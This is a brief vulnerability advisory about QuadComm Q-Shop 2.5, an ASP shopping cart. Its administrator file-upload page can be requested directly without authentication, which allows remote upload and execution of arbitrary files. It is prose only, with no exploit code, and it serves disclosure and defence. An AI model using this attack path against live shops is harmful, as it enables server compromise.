QuadComm Q-Shop 2.5 - Failure To Validate Credentials

source: https://www.securityfocus.com/bid/8153/info

Zone-H has reported that the Q-Shop ASP shopping cart software contains a vulnerability that may allow remote attackers to upload arbitrary files. Once uploaded, the attacker may be able to have the script executed in the security context of the Web server. It is reported that Q-Shop provides an interface intended for administrators to upload files, however when this file is requested directly, no authentication is required.
